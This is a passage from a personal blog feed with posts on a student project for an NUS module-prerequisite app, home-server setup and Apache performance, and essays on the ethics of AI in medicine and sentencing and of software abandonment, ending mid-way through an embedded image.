competition as the information is scattered and difficult to locate.
Nevertheless, we have taken note that a number of teams in orbital are
embarking on a similar project and might pose competition.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="stakeholders">
<h2>Stakeholders</h2>
</p><p>NUS students. This app is created for the community and will be provided
free of charge. Students who feel that it is beneficial can choose to
make use of it.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="external-dependencies">
<h2>External Dependencies</h2>
</p><p>We have scrapped information from over 10000+ modules in IVLE and
uploaded it into the datastore, so there are currently no external
dependencies in the short term, however, next semester when we wish to
update the information, we have to scrap IVLE once again, so the only
condition is that IVLE has to be updated and there are no major changes
to the URL structure.</p>
<hr class="docutils" />
</p><p>For the next sprint, we will working on the following three features:</p>
<p> 1. Beautifying the UI of the android app</p>
<p> 2. Tidying up the code (currently most of the code is hacked
together)</p>
<p> 3. Share on facebook/twitter functionality</p>
<hr class="docutils" />
</p></div>
<div class="section" id="user-stories">
<h2>User Stories</h2>
</p><p>1) A year 3 student at NUS, who has only 4 semesters left, must quickly
figure out which remaining module is the most "deeply nested" so he can
clear all its prerequisites before the final semester and graduate on
time.</p>
<p>2) A year 1 student at NUS wants to identify which core modules he is
eligible to take next semester.</p>
<p>3) A year 2 student is discussing with her friends over lunch on what
module they should take next semester and wants to quickly find out the
prerequisite for a certain module.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="tech-stack">
<h2>Tech Stack</h2>
</p><p>GAE/Python for website - Requirement for Vostok Level, greater level of
support available</p>
<p>Android for mobile app - Possess hardware required for development,
easier to distribute final product</p>
<p>ndb - Querying datastore faster and simpler then external db. ndb
provides better caching which would be useful since only a small portion
of the 10000+ modules will be accessed frequently.</p>
<p>Rest - Simple. Port 80 is always open since it is used for HTTP. Easy to
cache. Module information is available publicly for anyone to access, no
security concerns</p>
<hr class="docutils" />
</p></div>
<div class="section" id="libraries-plugins">
<h2>Libraries/Plugins</h2>
</p><p>Boomi rest server - For rest interface</p>
<p>jsPlumb - For the graph mode</p>
<hr class="docutils" />
</p></div>
<div class="section" id="data-schema">
<h2>Data Schema</h2>
</p><p>[<a class="reference external" href="http://nusmods.appspot.com/rest/metadata/Modules](http://nusmods.appspot.com/rest/metadata/Modules">http://nusmods.appspot.com/rest/metadata/Modules](http://nusmods.appspot.com/rest/metadata/Modules</a>)</p>
<hr class="docutils" />
</p></div>
<div class="section" id="timeline">
<h2>Timeline</h2>
</p><p>As of now, all of the major features suggested during ignition have
already been completed. We will be working on minor details and touch
up. If you have features you would like to see being implemented, please
feel free to share with us.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="roles">
<h2>Roles</h2>
</p><p>Benjamin</p>
<p> - Functionality</p>
<p> - Documentation</p>
<p> - Android</p>
<p>Meng Di</p>
<p> - CSS/UI</p>
<p> - Flow of website</p>
<p> - Javascript animation</p>
<hr class="docutils" />
</p></div>
<div class="section" id="links">
<h2>Links</h2>
</p><p>Project log here :
[<a class="reference external" href="http://limbenjamin.com/blog/orbital-project-log](http://limbenjamin.com/blog/orbital-project-log">http://limbenjamin.com/blog/orbital-project-log](http://limbenjamin.com/blog/orbital-project-log</a>)</p>
<p>The prototype for the website has already been uploaded to
[<a class="reference external" href="http://nusmods.appspot.com/](http://nusmods.appspot.com/">http://nusmods.appspot.com/](http://nusmods.appspot.com/</a>)</p>
<p>The android application prototype has been uploaded to
[<a class="reference external" href="https://play.google.com/store/apps/details?id=com.limbenjamin.nusmods](https://play.google.com/store/apps/details">https://play.google.com/store/apps/details?id=com.limbenjamin.nusmods](https://play.google.com/store/apps/details</a>?id=com.limbenjamin.nusmods)</p>
<p>APK can be downloaded here :
[<a class="reference external" href="http://limbenjamin.com/nusmods.apk](http://limbenjamin.com/nusmods.apk">http://limbenjamin.com/nusmods.apk](http://limbenjamin.com/nusmods.apk</a>)</p>
<p>Version 1.1(improved UI) :
[<a class="reference external" href="http://limbenjamin.com/nusmods1.1.apk](http://limbenjamin.com/nusmods1.1.apk">http://limbenjamin.com/nusmods1.1.apk](http://limbenjamin.com/nusmods1.1.apk</a>)</p>
<p>Prototype video can be downloaded here :
[<a class="reference external" href="http://limbenjamin.com/video.mp4](http://limbenjamin.com/video.mp4">http://limbenjamin.com/video.mp4](http://limbenjamin.com/video.mp4</a>)</p>
<p>Week 8 Prototype video :
[<a class="reference external" href="http://limbenjamin.com/video2.mp4](http://limbenjamin.com/video2.mp4">http://limbenjamin.com/video2.mp4](http://limbenjamin.com/video2.mp4</a>)</p>
<p>Week 8 Prototype video :
[<a class="reference external" href="http://limbenjamin.com/video3.mp4](http://limbenjamin.com/video3.mp4">http://limbenjamin.com/video3.mp4](http://limbenjamin.com/video3.mp4</a>)</p>
<p>IVLE scrapper :
[<a class="reference external" href="https://github.com/limbenjamin/modulescrapper](https://github.com/limbenjamin/modulescrapper">https://github.com/limbenjamin/modulescrapper](https://github.com/limbenjamin/modulescrapper</a>)</p>
</div>
apache vs nginx/lighttpd2013-05-30T21:40:00+08:002013-05-30T21:40:00+08:00Benjamin Limtag:limbenjamin.com,2013-05-30:/articles/apache-vs-nginxlighttpd.html<p>Many articles out there extol the benefits of the event based servers
such as nginx/lighttpd over apache. It supposedly consumes less
resources under high load and excels at serving static pages.</p>
<p>Unfortunately here I am still using apache, which up until recently had
very erratic performance. Analysing the loading …</p><p>Many articles out there extol the benefits of the event based servers
such as nginx/lighttpd over apache. It supposedly consumes less
resources under high load and excels at serving static pages.</p>
<p>Unfortunately here I am still using apache, which up until recently had
very erratic performance. Analysing the loading showed that the Time to
First Byte could take up to 10s, wonder what apache is doing, spinning
up threads? Anyway, with caching configured, I am starting to see better
performance usually below 5s. Not sure if I should move over to
nginx/lighttpd. The reason why I chose apache in the first place was
because it was more widely used, hence better stability and more
documentation compared to its newer cousins. Furthermore, better
resource efficiency didn't really matter since my site isn't high traffic
in the first place.</p>
<p>Some have even recommended using nginx as a recursive caching server in
front of apache but seems a little unnecessary to me. Might move over to
nginx/lighttpd soon depending on what the pi community feels. Even
though I'm not using a pi, its the largest ARM processor community and
stuff that works well on x86 might not play nice on ARM. Will do more
reading before deciding.</p>
<p>Update:</p>
<p>After doing apache bench to test out the performance of apache, the
results seem to point to something else, perhaps the router since
after all I am using a free singtel aztech router designed for
residential use and that might have stalled unsolicited connections. Out
of 1000 requests, ab managed to serve up 100 concurrent connections in
0.113 seconds to localhost, 95% of requests took no longer than 130ms to
serve and all connections took a maximum of 171ms. It might not be as
fast as lighttpd but I am not going to see 100 simultaneous connections
on my website, let alone a 1000. The bottleneck lies somewhere else.</p>
Running you own home server part 22013-05-27T23:21:00+08:002013-05-27T23:21:00+08:00Benjamin Limtag:limbenjamin.com,2013-05-27:/articles/running-you-own-home-server-part-2.html<p>As promised, I would cover what services I am currently running on my
server and what I use it for.</p>
<p>So the server stats can be accessed <a class="reference external" href="http://limbenjamin.com/mon">here</a> .</p>
<div class="section" id="apache">
<h2>apache</h2>
<p>Web server - hosts my website, blog and a couple of wordpress sites that
I am currently working on and phpmyadmin for …</p></div><p>As promised, I would cover what services I am currently running on my
server and what I use it for.</p>
<p>So the server stats can be accessed <a class="reference external" href="http://limbenjamin.com/mon">here</a> .</p>
<div class="section" id="apache">
<h2>apache</h2>
<p>Web server - hosts my website, blog and a couple of wordpress sites that
I am currently working on and phpmyadmin for quick access to mysql.
Advantage of self hosting is that I have full control over which version
of PHP, which extensions to enable, caching of pages, virtual hosts and
proxy settings and is significantly faster since its on LAN. Most
hosting sites give you cPanel access only.</p>
</div>
<div class="section" id="crond">
<h2>crond</h2>
<p>Used to automatically update DDNS server when my IP changes. Used to
shutdown my bro's computer when play time is over. Useful for projects
to grab data at specific intervals. E.g. grab weather info from NEA
every hour and email you when forecast is going to rain.</p>
</div>
<div class="section" id="motion">
<h2>motion</h2>
<p>Essentially a lightweight webserver which broadcasts webcam stream. Set
it up some time ago and had the camera pointing at the door. Configured
to snap a photo when a certain amount of pixels change. aka motion
detected. Something like a security camera. However, taken down as it
snapped 170,000+ photos totalling 5GB over the span of 3 weeks. Have to
look into the threshold.On a side note, when you try to rm -rf 170,000
items in the same directory, u will get an error about argument list too
long. Have to use xargs to pass filename to rm command.</p>
</div>
<div class="section" id="samba">
<h2>samba</h2>
<p>File sharing server so I can mount it as a network drive on Windows 8.
Yeah, Im using windows 8. No more Ubuntu for me, linux works best on
servers not desktops. Anyway super convenient because uploading a file
on my website is now drag and drop in file explorer.Or just create a new
text file in the correct folder and it is automatically on the web. Plus
those crazily long config files can now be edited via GUI.</p>
</div>
<div class="section" id="openvpn">
<h2>openvpn</h2>
<p>Mainly just wanted to play around and see if I can VPN into my home
network while outside. Brought it down as no practical use.</p>
</div>
<div class="section" id="unbound">
<h2>unbound</h2>
<p>Recursive DNS server just in case root DNS servers hacked and entire
internet is unreachable.... nah, mainly for faster DNS lookups and to
access my domain from LAN (Previously not possible due to loopback, so
have to access via IP,which breaks certain website elements that use
FQDN).</p>
</div>
<div class="section" id="ntpd">
<h2>ntpd</h2>
<p>To sync time since the cubie doesn't have a hardware clock.</p>
</div>
Running your own home server2013-05-26T23:28:00+08:002013-05-26T23:28:00+08:00Benjamin Limtag:limbenjamin.com,2013-05-26:/articles/running-your-own-home-server.html<p>Just wanted to share my experience of running my own server at home.
Before anyone conjures up a thought of large server rack with cooling
equipment and thousands of dollars of investment. Let me show you what
it looks like.</p>
<p><img alt="image0" src="http://limbenjamin.com/media/cubie.jpg" /></p>
<p>Its called the cubieboard, palm sized and sits at the …</p><p>Just wanted to share my experience of running my own server at home.
Before anyone conjures up a thought of large server rack with cooling
equipment and thousands of dollars of investment. Let me show you what
it looks like.</p>
<p><img alt="image0" src="http://limbenjamin.com/media/cubie.jpg" /></p>
<p>Its called the cubieboard, palm sized and sits at the corner of a table,
connected to my router. Cost wise, I got it for about 60SGD from
indiegogo. There are many alternatives out there such as the raspberry
pi which retails for something like 35USD. This particular model is more
powerful than the pi. It has a 1 Ghz ARM processor and 1GB RAM, which in
my opinion is decent and enough for a personal server running a couple
of services. Power consumption is also very low compared to a
traditional desktop pc, roughly 3-5 watts depending on load. Running it
24/7 would cost probably a few dollars monthly.</p>
<p>So, these boards are actually more suited for hardware hacks but who
cares.I must warn you though that the learning curve is pretty steep.
Initially, I assumed installation was as simple as booting from a USB
and installing into NAND flash. This is untrue because firstly, there is
no BIOS, the system is programmed to read a specific file and execute
the boot instructions. Secondly, its designed to be headless. Without an
OS, you have no network access and you cant install over SSH. Since, i
received mine in the 2nd batch of production, few people had the device
and the community was very small. It took me over a week of cross
compilation, trial and error,forum surfing to figure it out. Anyway, its
much easier today, look for IMG files which contain a fully working
image and write it to your SD card, plug it in and watch it boot up.</p>
<p>The next step was getting it onto the internet. So basically, I wanted
to be able to access it from anywhere. Since most if not all ISPs in
Singapore issue dynamic IPs to residential subscribers, I needed to set
up a service which would continually update my IP address when it is
reissued. I ended up writing a simple shell script to check for my
public IP and update it whenever it changes. I then set it up to run at
15 min intervals via cron. Oh, and dont forget the port forwarding on
your router as well since you will be receiving unsolicited inbound
packets.</p>
<p>With setup done, you can now install whatever services you which to run
and play with it. Keep in mind though that this is an ARM processor, so
it only runs on a few linux distros which support arm, arch arm, Ubuntu
and others. You cant install packages meant for x86 systems, these
distros do provide a list of packages but there are definitely fewer
than x86. If a package does not exist, you will have to make, configure,
install from source.</p>
<p>I will share more on what services I am running and what I am using it
for in a future post.</p>
300kb - 300mb2013-05-25T10:01:00+08:002013-05-25T10:01:00+08:00Benjamin Limtag:limbenjamin.com,2013-05-25:/articles/300kb-300mb.html<p>I never cease to be amazed by how small something can be, especially in
today's era of 2TB HDDs.</p>
</p><p>Just few months ago. it was my arch Linux arm distro. Out of the box
(OOTB) occupying less than 300mb on my SD card. Makes me wonder what on
earth is …</p><p>I never cease to be amazed by how small something can be, especially in
today's era of 2TB HDDs.</p>
</p><p>Just few months ago. it was my arch Linux arm distro. Out of the box
(OOTB) occupying less than 300mb on my SD card. Makes me wonder what on
earth is inside windows 8 which took up a sizable portion of 10gb OOTB.
Dont even get me started on the programs, somehow apache, php ,samba,
unbound, openvpn and whole lot of other files are smaller than 1 program
on windows. Makes you wonder where all the bloat comes from.</p>
</p><p>Today its anchor CMS whose zip file is less than 300kb. This blog is
currently running on it. My jpeg in the previous post is larger than the
entire cms. I am no stranger to cms having used WordPress and joomla in
the past but this is just unbelievable. It even looks darn good with a
minimalist interface that renders beautifully on mobile. Clever use of
CSS with only 1 tiny logo.Lightweight cms doesn't do it justice, it
should be termed featherweight.</p>
</p><p>Thinking back, the reason why my arch was so lightweight was also
because it was entirely text. No X so no images,perfectly fine for a
headless server. A picture is worth a thousand word, it is also a
thousand times larger.If only one day svgs could replicate the details
in jpg/png....</p>
</p><p>Mindblown.</p>
</p>Ethic issues concerned with Artificial Intelligence(AI) in decision making processes2012-12-08T20:59:00+08:002012-12-08T20:59:00+08:00Benjamin Limtag:limbenjamin.com,2012-12-08:/articles/ethic-issues-concerned-with-artificial-intelligenceai-in-decision-making-processes.html<p><img alt="image0" src="http://upload.wikimedia.org/wikipedia/commons/thumb/1/1c/Artificial.intelligence.jpg/183px-Artificial.intelligence.jpg" /></p>
</p><p>Image from wikipedia</p>
</p><p>Artificial intelligence refers to “the idea of making computers and
machinery think, learn and even correct itself from its own mistakes”1.
Hence, from the definition, we can immediately grasp the potential
benefits of having AI be involved in the decision making process. While
the AI might …</p><p><img alt="image0" src="http://upload.wikimedia.org/wikipedia/commons/thumb/1/1c/Artificial.intelligence.jpg/183px-Artificial.intelligence.jpg" /></p>
</p><p>Image from wikipedia</p>
</p><p>Artificial intelligence refers to “the idea of making computers and
machinery think, learn and even correct itself from its own mistakes”1.
Hence, from the definition, we can immediately grasp the potential
benefits of having AI be involved in the decision making process. While
the AI might not be infallible, its ability to learn coupled with its
permanent memory means that the decisions it makes will get better over
time. For extremely complex decisions with many factors and
repercussions to consider, a computer would be capable of making a far
more rational and calculated decision compared to a human. However, is
it ethical to allow AI to make decision for us? Would you accept
national policies that are formulated by a computer?</p>
<p>In this post, I wish to explore if it is ethical to involve current AI
technology in decision making processes particularly in the field of
medicine and law. As such, I am not interested in a fantasy world where
robots have colonized the earth and enslaved humans. I am also not
interested in future AI technology that have far surpassed the human
brain and can formulate perfect ethical theories which the human brain
is incapable of finding any fault with. Therefore, I would be using
existing ethical theories to evaluate the use of current AI technology.</p>
<p>Medicine is an extremely complicated field of study largely due to the
complexity of the human body. Among doctors, there are specialists who
specialize in the treatment of certain conditions such as cardiologists
who specialize in conditions to do with the heart and pediatricians who
specialize in ailments affecting children. Even among specialists, there
are doctors who specialize even further, e.g. pediatric cardiologists,
and even among them, there are a few who specialize in certain rare
diseases that affect 1 in a million people. Making their job harder,
symptoms such as nausea and dizziness can actually result from many
diseases from all specializations,they may not be the typical symptoms
seen in that particular disease, it might even be caused by two
unrelated diseases. Suffice to say, misdiagnoses is unavoidable as it is
impossible for doctors to know everything in the medical field.</p>
<p>In such a situation, AI has the advantage due to its practically
unlimited and perfect memory. It can store information on all diseases
known to mankind, provide statistics on how common the diseases are, all
the various symptoms that might be exhibited. Using AI to diagnose a
disease, the computer can rank the various disease according to
likelihood based on symptoms described. It can even personalise
diagnosis based on factors such as race, age, weight, family history and
genetics to determine if a certain disease might be more likely. Lastly
and most importantly, AI has the ability to learn from past diagnoses,
keeping accurate statistics which helps to provide even more accurate
diagnoses in the future. In short, it is leaps and bounds better than
the current system. However, we do face certain ethical issues when AI
is used in diagnoses of illnesses.</p>
<p>The first such issue is doctor patient confidentiality. Such an
arrangement is crucial because it allows for trust between the doctor
and patient. The patient can thus divulge personal information without
the fear of being judged, allowing for more accurate diagnoses. If AI is
being used in the diagnoses process, patient information has to be
shared in order for the AI to learn from past diagnoses, therefore
compromising the arrangement. Information can be anonymised, however
doing so would reduce the amount the system can learn from it. There is
also no guarantee that anonymised data cannot be traced back to the
patient. Lastly, if it was discovered that the diagnosis was wrong, it
might not be able to trace back to the patient to rectify the mistake.</p>
<p>The next issue facing AI technology is the problem of misdiagnoses.
Especially in the early trials of the system, due to the lack of
statistical information, the system might not be as accurate. Which
party should then be deemed responsible for the misdiagnoses? All
fingers might point to the programmer first, however we must realize
that the system is designed to learn from past diagnoses, as such it is
not designed to be correct 100% of the time. Especially when the issue
might result in life and death circumstances, is it ethical to let
patients pay the price of a mistake made by a machine? Of course, we can
allow doctors to override the diagnosis made by the AI. However, doctors
are also not right 100% of the time, if the doctor was wrong, we would
be “teaching” the AI the wrong thing, which increases the likelihood of
all future diagnosis to be wrong.</p>
<p>Using utilitarian methods to examine the issue of using AI in medical
diagnosis, benefits would include much more accurate diagnosis of
diseases in the long run. Costs would include the potential loss of
confidentiality of medical condition as well as the possibility of
misdiagnoses especially in the short run. I believe that the benefits
outweigh the cost but most of the benefits can only be realised in the
long term while most of the costs are short term. It is also difficult
to quantify the costs since the misdiagnoses could result in aggravation
of condition or even death. Therefore, there is a huge disparity in the
distribution of benefits and costs. While everyone wants to enjoy better
diagnosis in the future, no one is willing to be the guinea pig to allow
the AI to practice on them.</p>
<p>Using the second formulation of Kantian ethics to analyse the situation,
by using the patients data to improve its diagnoses, the AI is using the
patients as a means to an end. However, Kantian ethics does not take
into account the fact that the AI is doing so to provide even greater
accuracy for future diagnosis, which would ultimately benefit patients.
Using the first formulation, if AI gave out wrong diagnoses, people
would gradually stop trusting the AI and revert back to doctors.
Therefore, nobody would go to the AI for diagnoses and the AI would be
unable to give out wrong diagnoses anymore. Therefore, using AI for
diagnoses is unethical when analyzed using the Kantian perspective.</p>
<p>In order for a move to using AI to increase the accuracy of diagnoses.
Certain societal and legal changes might have to be made. Patient doctor
confidentiality might have to be sacrificed. Society also has to accept
the fact that the AI is not perfect and learns from its mistakes.
Perhaps change has to be implemented incrementally, with AI assisting
doctors in diagnoses during early years and slowly transiting towards
fully automating the diagnosis process.</p>
<p>Next, I would like to consider the ethicality of using AI in the
decision making process of our justice system.I would be considering the
use of AI only for the process of deciding the length of the sentence,
and not the entire judicial process. Our current justice system requires
judges to take into consideration a lot of factors such as the
circumstances in which the crime was committed, the motive for
committing the crime, the attributes of the crime, before passing a
sentence based on prevailing laws as a guideline. Even then, the legal
system is often caught up in endless appeal cases which consume lots of
time and resources.</p>
<p>As with any other human involved in a decision making process, it is
often difficult to be impartial to a certain situation. One tends to
bring in personal morals and values when making such decisions. This
might ultimately lead to unfairness during sentencing when certain
judges might dish out heavier punishments than others for specific types
of crimes. An AI system would solve this situation using a utilitarian
approach. By assigning values to the certain factors involved, the
system would be able to calculate the degree to which the accused is
guilty and sentence him accordingly. This system would also be much
fairer as another person who committed the exact same crime in the exact
same circumstances would get the same punishment. Lastly, since the
outcome is always the same, the entire appeal process can be done away
with.</p>
<p>Such a system definitely sound good in theory. It does indeed provide
greater degree of fairness during sentencing. However, careful planning
is necessary as the system will need to make important decisions such as
the value of certain factors involved in the case. In short, the task of
weighing the factors has never been taken away, it has just been
transferred from the judge to the system. The AI system will then use
these exact same values to judge all other cases, thus ensuring
impartial sentencing. Nevertheless, it might be difficult to assign
values to certain factors, especially when human life might be at stake.</p>
<p>The next potential issue that the system might face is the ethicality of
allowing a machine to play the role of god. Currently, there are already
people who feel that a judge, being human, should not be given the power
to decide whether someone lives or not. By bringing the power of
decision down to a mere machine, we are further marring the sanctity of
life itself, demoting it to a value which is decided by a machine. Has
human life become such a commodity?</p>
<p>As technology advances, a greater degree of automation can be provided
by machines for increasingly complex tasks. From simple tasks such as
assembly line automation, to complicated tasks such as market analysis,
computers have largely either replaced or assisted humans greatly. To
date however, some of the most complex tasks such as diagnosis and
sentencing are still largely performed by humans. Nevertheless, it has
been shown that AI has the ability to perform these tasks with greater
efficiency and impartiality as compared to humans. We have already begun
on the slippery slope of allowing computers to take over our daily
tasks. If we do not set our boundaries, we would very soon be sliding
further and further down. We might one day wake up to machines
controlling every aspect of our lives.</p>
<ol class="arabic simple">
<li>Attila Narin. The Myths of Artificial Intelligence.</li>
</ol>
<p>Retrieved from <a class="reference external" href="http://www.narin.com/attila/ai.html">http://www.narin.com/attila/ai.html</a></p>
<p>2.Peter Szolovits, Ph.D, Ramesh S. Patil, Ph.D, and William B. Schwartz,
M.D, Artificial Intelligence in Medical Diagnosis. ANNALS OF INTERNAL
MEDICINE Vol.108; No.1 pages 80-87. January 1988.</p>
<ol class="arabic simple" start="3">
<li><ol class="first upperalpha" start="10">
<li>Hughes, Ph.D, Doctors Are Dinosaurs In a High Tech World</li>
</ol>
</li>
</ol>
<p>New York Newsday, July 1, 1995</p>
<ol class="arabic simple" start="4">
<li>Legal Applications of Artificial Intelligence.</li>
</ol>
<p>Retrieved from
<a class="reference external" href="http://www.gslis.utexas.edu/~palmquis/courses/project98/ailaw/ailaw.htm">http://www.gslis.utexas.edu/~palmquis/courses/project98/ailaw/ailaw.htm</a></p>
Ethical concerns regarding the transition from software to abandonware2012-10-10T03:59:00+08:002012-10-10T03:59:00+08:00Benjamin Limtag:limbenjamin.com,2012-10-10:/articles/ethical-concerns-regarding-the-transition-from-software-to-abandonware.html<p><img alt="image0" src="http://t3.gstatic.com/images?q=tbn:ANd9GcTliWIP6fiRJ7raMQVw7OJHcIE5xjR5UV50jcZxsBcZVlxFfUPUblYFutPHkQ" /></p>
<p>Firstly, I wish to define abandonware as "software that is ostensibly
still protected by copyright, but is no longer being supported or
marketed" provided by Technopedia<sup>1</sup>. As such, my article will
focus on the possible ethical issues companies and consumers might face
when products are transiting from software to …</p><p><img alt="image0" src="http://t3.gstatic.com/images?q=tbn:ANd9GcTliWIP6fiRJ7raMQVw7OJHcIE5xjR5UV50jcZxsBcZVlxFfUPUblYFutPHkQ" /></p>
<p>Firstly, I wish to define abandonware as "software that is ostensibly
still protected by copyright, but is no longer being supported or
marketed" provided by Technopedia<sup>1</sup>. As such, my article will
focus on the possible ethical issues companies and consumers might face
when products are transiting from software to abandonware. I will
provide examples of a few real life cases and evaluate if these actions
are ethical and what considerations they might have taken into account
when making these decisions.</p>
<p><img alt="Full-size image (23 K)" src="http://ars.els-cdn.com/content/image/1-s2.0-S0094576509005165-gr3.jpg" /></p>
<p>In order to evaluate the transition from software to abandonware, we
must first examine a typical product lifecycle and determine which stage
in its lifecycle is the transition most likely to fall in. As shown in
the graph above by Perrault, William D. Jr<sup>2</sup>,the decline stage
is where sales and profits reaped from a particular product plummets. It
is also likely to be the stage where the transition occurs since the
company is only earning minimal profits from the product, however,
maintenance cost for the product is likely to have remained and thus
continuing support for the product would be a loss making decision.
Although the company might not have discontinued support for the
product, they might choose to allocate less of their budget to
maintaining the product and instead focus on the development of a new
product.</p>
<p>Windows 7 from Microsoft is an example of such a product that has
entered this transition phase. As Microsoft focuses more on development
of Windows 8, it is scaling down on maintenance of Windows 7. This is
especially evident in the case of the bug that allows IPv6 Router
Advertisement flooding to cause denial of service (DoS) in Windows 7
client. The severity of the bug is described here<sup>3</sup>.In short, a
simple tool used to spam ICMPv6 Router Advertisement requests would
cause all clients running Windows 7, Vista, XP, Windows server 2003 and
2008 in the same subnet to be inundated with requests, resulting a
drastic increase in CPU usage and even causing the PC to crash. This
issue was highlighted to Microsoft on the 10 July 2010 and Microsoft
responded on 12 August 2010 that although they acknowledged the
vulnerability, they had no intention of providing any fix to the
problem<sup>4</sup>, despite the fact that support for Windows XP is
slated to end only in 2014 and Windows 7 only in 2020.</p>
<p>Looking at the issue from an act utilitarian standpoint, fixing the bug
will entail minimal costs to Microsoft as it requires only a few lines
of code to modify the behaviour of the operating system to ignore all
remaining router advertisements for a period of time when dealt with a
flood of router advertisements. Costs would also be incurred due to the
usage of bandwidth to push down the updates to all clients. The
negligible costs will definitely be dwarfed by the benefits due to the
severity of the bug, in which one malicious user could crash more than
200 clients on the same subnet, resulting in loss of productivity and
profits as entire web servers might be taken down.</p>
<p>Taking a Kantian approach, if we apply the first formulation, we would
try to analyse what would occur if all software companies decided not to
provide support for their products once they transit toward abandonware.
Consumers will no longer have any trust in companies and may start
turning towards open source software as these are maintained by people
who are driven by passion instead of monetary incentives. As a result,
commercial software would cease to exist as there is no longer any
demand for it. Using the second formulation, we can deduce that the
companies are simply using consumers as a means to an end, once the bulk
of the profit has been made, the company ceases to care about the
consumers who made that profit possible in the first place. Therefore,
using both utilitarian and Kantian approaches to analyse the issue, I
have come to the conclusion that such an action is unethical.</p>
<p>However, one might argue that according to virtue ethics, Microsoft's
actions are ethical as long as the organization itself is ethical.
Microsoft was awarded the 'Most Ethical' award by ethisphere for the
year 2011<sup>5</sup>. This was largely due to the millions in donations
to non-profit organisations and infrastructural investments in less
developed countries. Assuming that the motives behind these
contributions are indeed ethical, it is still a fallacy to conclude that
since some of its actions are ethical, therefore it as an entity must be
ethical and therefore all its actions are ethical.</p>
<p>In addition to being unethical, such an action is also unprofessional.
Using the ACM code of conduct as a guideline<sup>6</sup>, this action
violates clause 2.6 and 1.2 to name a few. By refusing to provide a fix
for a bug that has serious ramifications on current software that is
purportedly still supported, Microsoft has not honoured its assigned
responsibilities. Before buying a product, a consumer takes into
consideration the fact that Microsoft would continue to update its
product to patch security and functional flaws until the end of its
shelf life. The consumer is not expecting new features or functions but
merely to fix problems that may have been undetected during the test
phase. IPv6 was a feature included during the launch of Windows 7 and
thus, Microsoft's refusal to fix a bug of an included feature is
unprofessional. Microsoft also has to responsibility to prevent harm to
users of its software to the best of its ability. Despite having been
warned and acknowledging the vulnerability, Microsoft chose not to take
any action that could potentially prevent harm to users of its software,
therefore violating clause 1.2.</p>
<p>So why has Microsoft chosen not to fix the bug even though it is
unethical and unprofessional? One of the major reasons is due to profit
motive, although the cost of fixing the bug is minimal, fixing the bug
will reduce the incentive for customers to upgrade to Windows 8. This is
because their current version of Windows is secure and functional, thus
there is less need to upgrade. However, if there are major issues with
security and functionality, a customer might be left with no choice but
to upgrade. However, this strategy might backfire as customers might
instead switch to different operating system such as Linux as they might
see the same issue affecting Windows 8 when Microsoft releases Windows
9.</p>
<p>Fortunately, NUS DHCP servers distribute IPv4 addresses as shown by the
screenshot below. Nevertheless, the computers below were all connected
to the same subnet and thus could potentially be vulnerable to the
abovementioned exploit if they are running Windows 7 or XP, if NUS
upgrades to IPv6.</p>
<p><img alt="image2" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdsAAAC2CAIAAAAeBbBTAAASXElEQVR4nO2dUZqjug6Es92zi+x0lsJ96Jm+YFmybBmcWH999ZDYlhBCFIYm7td///13HMdxHK/X6/Dx9XodV7z+4ajhp/3cW4yUXfbg4LYi5nkwKwkZElhUVPUEOagr4MBrTJHf73fFV63I/I3nrmbt2o3Ncp8S6t4wrpoRP1tiQJEBqAJFHg91b9j3MVKDtJYMCSyKVktdhlSAIO5V5DE5/v3cfLzQtB0zPzvRQt0eHlnh9vwHTkU+WlUNwNOK7Jdj26SpyBFzZ8B7w1BkecErWnIq8tFzQcqQFjCA/yvy4RPlHzn2KPKwHB/9kjrX3Nm1N/y33jLbaRX5cDxTtttBcgwqct2XWyVtw2O1ImcTlCo89xya/mZLoKbI1BXoxUWRj5YoGxPkwyFz2r2tfSPsdC6DmWieEPKIyC5jsGG+H7Ryoq5AL0pFPn4v8kKLbTkGAAAQREWRj+N4v9/FvPX9D8+HCAAASVBX5B+8r3gyLAAASAhLkQEAADwJVZGrf2274g+EEMKJ7PvL3nXg+ughhHAndr/9dhq7PnoIIdyJI78Q+Td8ffQQQrgTI7/ZE75er/Pn62PoS2PVtugyBge35TGXw7JRy8mAn+X78kCu7F12liWEgysNHcdx8eKQv0IE5QD/4OC2upR6+RFaRSOHw352pZxMVJMwK6VwY0bWfhO+lMmvs/Hc1axdu7FZ7h6fKHIzYwN+tuSAIkNYJYpcb+QUsu9jpAZpLRlyWFSLlroMqYBB3qvIY3L8+9n5eMGwHTM/UGSfrHB7Xt3rrosZhGc+rch+ObZNmoo8xTzzmWMosrzgFS05FfnouSBlSAscYGTFeuFLnxpoLR5bj6RON2/OsrenZ46sZTutIh+OZ8p50gIHeNfbb82vdtdaRfbEvD099xya/qLI1X3PlhY4wMiK9cJX58TTeSPsdC6DiZjb7Rlo3CXIduPwZcihVk6e1EF4ZmTF+vXRQwjhToysWL8+eggh3ImRFevXRw8hhDsxsmL9+ughhHAnRlasBwAAMBPqX/aqf9tbEiIAACRB5e03+/23VYECAMD2KH8h4vmNyMJwAQBgY4wocu29i7/mV1flY2jjqbTssh9hR7bVNOcZ+g/IQBDBMvuiE+qL8OG7cFlpyCHH9Wmy52AXh1wO8A8ObqvLPC2MHIImgmX2RSfU1+HD4x9U5Oo0WbtWOxvPXc0KsBubSQ+aZwMJGcMnVOmUE6rZ+EX48PhR5Lq5PXHIBmNWVWQpZ9K0vQ6W2bcostyLokUrGCMD1cEyBiPzWkiehNi2t+JeRfYfZtnVW6xdGWyae6JNAiNXxYdesdgGN5VZsMi18QOh+kOyW7SCkZ6lFnvcDoRkmHu0ezqeVmR/9dgmt9a6M+AMsLNnfEiF8+7btWeXWZd5VWU8Z8HAtozguzS6S5E1J1WHhW1xuepSZKP3UUU+vKL8Upa5sHKqtXhsPXUw19zZtT2aV6nqiZEwY87LeW+ZRYp8+hnhn7I8qcjOUHsVuRqzNnIu7nr7rfnV7lqryMn15Qee46WdYNmSNqbI91XprSdU0/PdiixnvgNqLr1Jc6d2z0X3b/a0CbIMV3494xBJOXedG53OZTATzROielB+u4wPCZM2pshHq8yGzT0nVNe2jJO36lk7+4oP1SBlALK6qvXmDEnzJgcbtvehb10LQ44BAKALDwjcXKxR5MO7Yj0AAIzjKxT5yQnyoSnyD1or1gMAAJiJyIr1AAAAZiKyYv0fCCGEE9n3v6ivA9dHDyGEO7Hy9pv17ttFlNdHDyGEO7H8hYghx0KU10cPIYQ7cUSR/713IXy9XufP18fQl8a